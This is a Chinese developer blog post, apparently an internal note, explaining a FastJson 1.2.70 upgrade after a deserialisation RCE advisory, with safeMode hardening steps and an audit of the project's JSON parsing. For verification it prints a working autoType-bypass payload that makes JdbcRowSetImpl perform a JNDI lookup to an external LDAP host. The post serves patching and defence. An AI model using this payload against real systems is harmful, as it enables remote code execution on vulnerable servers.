关于FastJson升级到1.2.70说明

文章来源原创   作者:许秋冬   发布时间:2020-06-28   阅读:945   标签:json

关于FastJson升级到1.2.70说明

author: Vic.xu

Date:20200601

官方20200601公告摘录

安全公告20200601

近日,阿里云应急响应中心监测到fastjson爆发新的反序列化远程代码执行漏洞,黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。

漏洞描述

fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。

影响版本

  • fastjson <=1.2.68
  • fastjson sec版本 <= sec9

升级方案

升级到最新版本1.2.69或者更新的1.2.70版本。

fastjson加固

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)

safeMode开启方法

  1. 在代码中配置

    ParserConfig.getGlobalInstance().setSafeMode(true);

  2. 加上JVM启动参数

    -Dfastjson.parser.safeMode=true

  3. 通过fastjson.properties文件配置。

    fastjson.parser.safeMode=true

二 漏洞原理和漏洞验证

多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考(https://www.anquanke.com/post/id/181874),

漏洞的代码简单展示

基于工银当前使用的版本1.2.46

  1. 验证autoType的默认值: 结果默认为false, 符合官网说明的”fastjson在1.2.2+版本默认便不再开启autoType选项”

    1. ParserConfig config = ParserConfig.getGlobalInstance();
    2. boolean autoTypeSupport = config.isAutoTypeSupport();
    3. System.out.println(autoTypeSupport);//false
  2. 正常情况下的autoType为false时,未绕过的测试代码

    1. Model model = new Model();
    2. model.setId(1);
    3. model.setName("vic");
    4. //获得的结果为{"@type":"pers.vic.test.json.fastjson.Model","id":1,"name":"vic"}
    5. String json = JSON.toJSONString(model, SerializerFeature.WriteClassName);
    6. System.out.println(json);
    7. //反序列换报错:autoType is not support. pers.vic.test.json.fastjson.Model
    8. JSON.parse(json);
  1. 验证绕过黑名单和autotype的检查流程

    • 准备可绕过检测的字符串

      1. private static String str = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://a.631c122b.n0p.co\",\"autoCommit\":true}}";
    • 执行字符串的反序列化

      1. JSONObject obj = JSON.parseObject(str);

      执行结果为报错

      ……..set property error, autoCommit

      ……..JdbcRowSet (连接) JNDI 无法连接

    说明执行了数据库连接操作,以及执行了setAutoCommit;,证明绕过了autotype的禁用;

    绕过的原理,参考https://www.anquanke.com/post/id/181874;大概意思为:

    1. 反序列之前加载配置,本项目中的autotype为默认配置:false
    2. 缓存常用的一些类库方到ConcurrentMap对象mappings中
    3. 反序列化调用解析函数时我们没有传入预期的反序列化对象的对应类名时,从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类。
    4. 找到对应类后便返回,不再经过黑名单和autotype的检查流程。而java.lang.class该类恰好存在于deserializers对象的buckets属性中:
    5. (2 3 4 结合已绕过黑名单和autotype的检查,后续说明略)

三 本项目中json使用的相关说明

3.1 项目中json序列换和反序列化主要使用的为Jackson

  1. 本项目使用的主题框架为SpringMVC, 其中消息转换器中关于json的转化使用的是MappingJackson2HttpMessageConverter(也即Jackson)
  2. 它的作用是一下两点(序列化/反序列化):
    1. 通过@ResponseBody注解返回响应体的内容时把对象转为是json字符串(序列化);这一点在本项目中大量使用,绝大多数ajax请求都是都经过此json序列化;
      1. 通过@RequestBody注解,接收前端的json字符串,并把json字符串序列化程对象, 在本项目中使用频率极低(通过搜索只发现一处)

3.2 关于fastjson在本项目中的使用

只搜索反序列化,因为序列化不存在安全问题

  1. JSON.parse在本项目中搜索到的结果为19 处
  • 其中绝大多数都是序列化后端自身存储的一些字符串(并无安全风险)
  1. JSONObject.parse在本项目中搜索到的结果为2处
  • 这两处均是直接反序列换前端传入的json字符串,存在风险

3.3 关于本项目引入fastjson的缘由

本人的猜测:

  1. 由于本项目中orm框架使用的是hibernate, 存在延迟加载的情况(即很多时候查询出来的是代理对象)

  2. 数据库实体和model的公用,造成在实体上加了很多的jackson序列化相关的注解(如忽略属性的序列化);

    例如:

    1. 查询出某个实体对象通过序列化返回给前端,由于hibernate的级联查询,加了很多忽略序列化的注解,以达到消除不必要的查询的目的
    2. 如果后端通过此相同的实体对象接收前端的json字符串,由于忽略序列化的注解的存在,会造成属性丢失
  3. 使用fastjson是为了避开jackson相关的序列化注解, 达到复用model的目的

四 本次fastjson升级说明

本项目中并不存在使用@type反序列化的需求, 可全面禁用;

  1. 版本升级到官网推荐的1.2.70版本;

    升级后 ,使用上述字符串测试绕过autoType时候会报错:autoType is not support. com.sun.rowset.JdbcRowSetImpl

  2. 通过配置文件fastjson.properties配置fastjson.parser.safeMode=true完全禁用autoType;

    参见官网说明:

    在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。

2020年6月1日


发表评论

目录